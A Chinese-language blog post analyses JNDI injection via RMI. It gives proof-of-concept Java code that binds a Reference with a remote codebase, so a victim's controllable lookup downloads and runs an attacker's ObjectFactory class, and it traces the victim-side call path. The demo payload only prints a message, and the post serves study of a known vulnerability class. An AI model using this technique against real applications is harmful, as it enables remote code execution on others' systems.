作者:n1nty
一篇炒冷飯的文章,全當筆記在寫了,這個漏洞涉及到 JNDI 與 RMI。 這裡我主要只寫一些其他的 “JNDI 注入” 分析文章沒寫過的東西,如果你看的不是很明白的話可以配合其他人寫的分析文章一起看。
需要知道的背景知識
- JNDI 的概念不細寫了,只需要知道我們通過 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS 等所謂 Naming Service 或 DirectoryService 的內容
- JNDI API 中涉及到的常見的方法與接口的作用,如:Context.lookup
- JNDI 中 ServiceProvider 以及 ObjectFactory 的作用
- Reference 類的作用
- RMI 的相關基礎知識,可以看我另一篇公眾號,我記的非常全。
JNDI Service Provider
JNDI 與 JNDI Service Provider 的關係類似於 Windows 中 SSPI 與 SSP 的關係。前者是統一抽象出來的接口,而後者是對接口的具體實現。如上面提到的默認的 JNDI Service Provider 有 RMI/LDAP 等等。。
ObjectFactory
每一個 Service Provider 可能配有多個 Object Factory。Object Factory 用於將 Naming Service(如 RMI/LDAP)中存儲的數據轉換為 Java 中可表達的數據,如 Java 中的對象或 Java 中的基本數據類型。 JNDI 的注入的問題就出在了可遠程下載自定義的 ObjectFactory 類上。你如果有興趣的話可以完整看一下 Service Provider 是如何與多個 ObjectFactory 進行交互的。
PoC
public static void main( String[] args ) throws Exception
{
// 在本機 1999 端口開啟 rmi registry,可以通過 JNDI API 來訪問此 rmi registry
Registry registry = LocateRegistry.createRegistry(1999);
// 創建一個 Reference,第一個參數無所謂,第二個參數指定 Object Factory 的類名:
// jndiinj.EvilObjectFactory
// 第三個參數是 codebase,表明如果客戶端在 classpath 裡面找不到
// jndiinj.EvilObjectFactory,則去 http://localhost:9999/ 下載
// 當然利用的時候這裡應該是一個真正的 codebase 的地址
Reference ref = new Reference("whatever",
"jndiinj.EvilObjectFactory", "http://localhost:9999/");
// 利用 ReferenceWrapper 將前面的 Reference 對象包裝一下
// 因為只為只有實現 Remote 接口的對象才能綁定到 rmi registry 裡面去
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("evil", wrapper);
}
EvilObjectFactory
代碼如下:
public class EvilObjectFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name,
Context nameCtx,
Hashtable<?, ?> environment)
throws Exception {
System.out.println("executed");
return null;
}
}
Victim
Victim 需要執行 Context.lookup,並且 lookup 的參數需要我們可控。
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
// ctx.lookup 參數需要可控
System.out.println(ctx.lookup("rmi://localhost:1999/evil"));
}
我的疑問
最開始看到 PoC 的時候,我以為這是 RMI Class Loading 導致的受害者會去指定的 codebase 下載我們指定的類並去實例化,因此產生了很大的疑惑。
- 因為 RMI Class Loading 是有條件限制的,比如說默認禁用,以及與 JVM 的 codebase 配置有很大的關係。
- PoC 裡面向 rmi registry 綁定 ReferenceWrapper 的時候,真正綁定進去的應該是它的 Stub 才對,Stub 的對象是怎麼造成客戶端的代碼執行的。
因為懶,這個疑問一直存在了很長時間,直到我開始正式去調試跟一下這個漏洞看看到底發生了什麼。後來我看在 marshalsec 那篇 pdf 裡面也提到了這個問題。
Victim 端的觸發流程
1.ctx.lookup
最終會進入 com.sun.jndi.rmi.registry.RegistryContext.lookup
。因為傳入的 jndi url 是以 rmi:// 開頭的。
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
2.在 lookup 裡面通過 this.registry.lookup 查找出遠程對象,賦給 var2。這裡的 var2 確實是 com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
類型的。證明我的想法是沒有錯的,存入 rmi registry 的確實是一個 stub。
3.進入 this.decodeObject
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ?
((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2,
this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
4.this.decodeObject
內將 stub 還原成了 Reference,這裡解決了我一個疑惑。隨後進入 NamingManager.getObjectInstance
5.NamingManager.getObjectInstance
內部發現當前 JVM 中不存在 Reference 中指定的 object factory,就自動去我們指定的 codebase 地址下載(並不是利用的 RMI Class Loading 機制,所以解決了我另一個疑惑)並實例化我們指定的 Object Factory 類,並調用其 javax.naming.spi.ObjectFactory#getObjectInstance
方法。
參考資料
- http://docs.oracle.com/javase/jndi/tutorial/TOC.html
- http://www.javaworld.com/article/2076888/core-java/jndi-overview–part-1–an-introduction-to-naming-services.html
转载请注明:IAMCOOL » 關於 JNDI 注入